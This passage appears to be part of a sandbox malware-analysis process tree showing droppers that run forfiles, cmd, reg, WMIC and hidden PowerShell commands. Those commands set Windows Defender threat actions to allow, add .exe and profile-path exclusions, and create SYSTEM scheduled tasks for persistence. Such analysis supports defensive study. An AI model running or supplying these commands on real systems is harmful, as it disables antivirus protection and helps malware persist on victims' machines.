        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        10⤵
        
        PID:888
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        11⤵
        
        PID:5336
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        12⤵
        
        PID:5344
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        10⤵
        
        PID:32
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        11⤵
        
        PID:6128
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        12⤵
        
        PID:1180
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        10⤵
        
        PID:3036
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        11⤵
        
        PID:5984
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2076
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        13⤵
        
        PID:5600
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        9⤵
        
        PID:5944
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        10⤵
        
        PID:6096
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        11⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5772
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        12⤵
        
        PID:4724
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 22:48:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS607A.tmp\Install.exe\" it /CvDdidrjWh 385118 /S" /V1 /F
        9⤵
        Creates scheduled task(s)
        
        PID:5360
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"
        9⤵
        
        PID:6124
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
        10⤵
        
        PID:5124
        
        \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
        11⤵
        
        PID:5392
        
        C:\Users\Admin\Pictures\8WU9GbT04TJUcoWDeRXbOcYr.exe
        
        "C:\Users\Admin\Pictures\8WU9GbT04TJUcoWDeRXbOcYr.exe"
        7⤵
        
        PID:5128
        
        C:\Users\Admin\AppData\Local\Temp\7zS77EA.tmp\Install.exe
        
        .\Install.exe /tEdidDDf "385118" /S
        8⤵
        
        PID:5400
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        9⤵
        
        PID:3572
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        10⤵
        
        PID:2388
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        11⤵
        
        PID:1964
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        12⤵
        
        PID:5440
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        10⤵
        
        PID:5820
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        11⤵
        
        PID:5968
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        12⤵
        
        PID:5920
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        10⤵
        
        PID:6088
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        11⤵
        
        PID:5152
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        12⤵
        
        PID:3764
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        10⤵
        
        PID:2644
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        11⤵
        
        PID:5980
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        12⤵
        
        PID:6092
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        10⤵
        
        PID:2852
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        11⤵
        
        PID:5568
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4848
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        13⤵
        
        PID:5192
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        9⤵
        
        PID:5252
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        10⤵
        
        PID:5824
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        11⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5668
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        12⤵
        
        PID:5992
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 22:48:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS77EA.tmp\Install.exe\" it /MYEdidvpfr 385118 /S" /V1 /F
        9⤵
        Creates scheduled task(s)
        
        PID:6068
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"
        9⤵
        
        PID:5308
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
        10⤵
        
        PID:3764
        
        \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
        11⤵
        
        PID:6120
        
        C:\Users\Admin\Pictures\mdv6vjZfc6LQOPrTnUP97Tft.exe
        
        "C:\Users\Admin\Pictures\mdv6vjZfc6LQOPrTnUP97Tft.exe"
        7⤵
        
        PID:5340
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1520
- - C:\Users\Admin\AppData\Local\Temp\1000014001\4bfdb7400c.exe
    "C:\Users\Admin\AppData\Local\Temp\1000014001\4bfdb7400c.exe"
    3⤵
    PID:2416

C:\Program Files (x86)\GameStabilityService\GameService.exe
"C:\Program Files (x86)\GameStabilityService\GameService.exe"
1⤵
PID:3568
- C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe
  "C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe"
  2⤵
  PID:2684
- C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe
  "C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe"
  2⤵
  PID:2376
- C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe
  "C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe"
  2⤵
  PID:1336
- C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe
  "C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe"
  2⤵
  PID:4276
- C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe
  "C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe"
  2⤵
  PID:5760
- C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe
  "C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe"
  2⤵
  PID:2504

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
1⤵
PID:5732

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
1⤵
PID:5740

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
1⤵
PID:6012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:6020

C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
1⤵
PID:5564

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
PID:3364

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
1⤵
PID:5636

C:\Users\Admin\AppData\Local\Temp\7zS607A.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zS607A.tmp\Install.exe it /CvDdidrjWh 385118 /S
1⤵
PID:5408
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:2868
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:6104
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:6136
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:5224
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:5208
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:5680
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:5444
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:5528
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:5924
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:5900
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:5748
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:908
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:6064
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:3016
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:3660
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5844
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:2388
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  PID:2852
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5572
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:5376
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6124
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4300
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4076
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6040
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6136
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6104
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5588
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5584
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6084
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4768
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5296
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5532
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5348
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:908
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5748
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3184
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4188
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5932
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5304
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5436
- - C:\Windows\SysWOW64\reg.exe
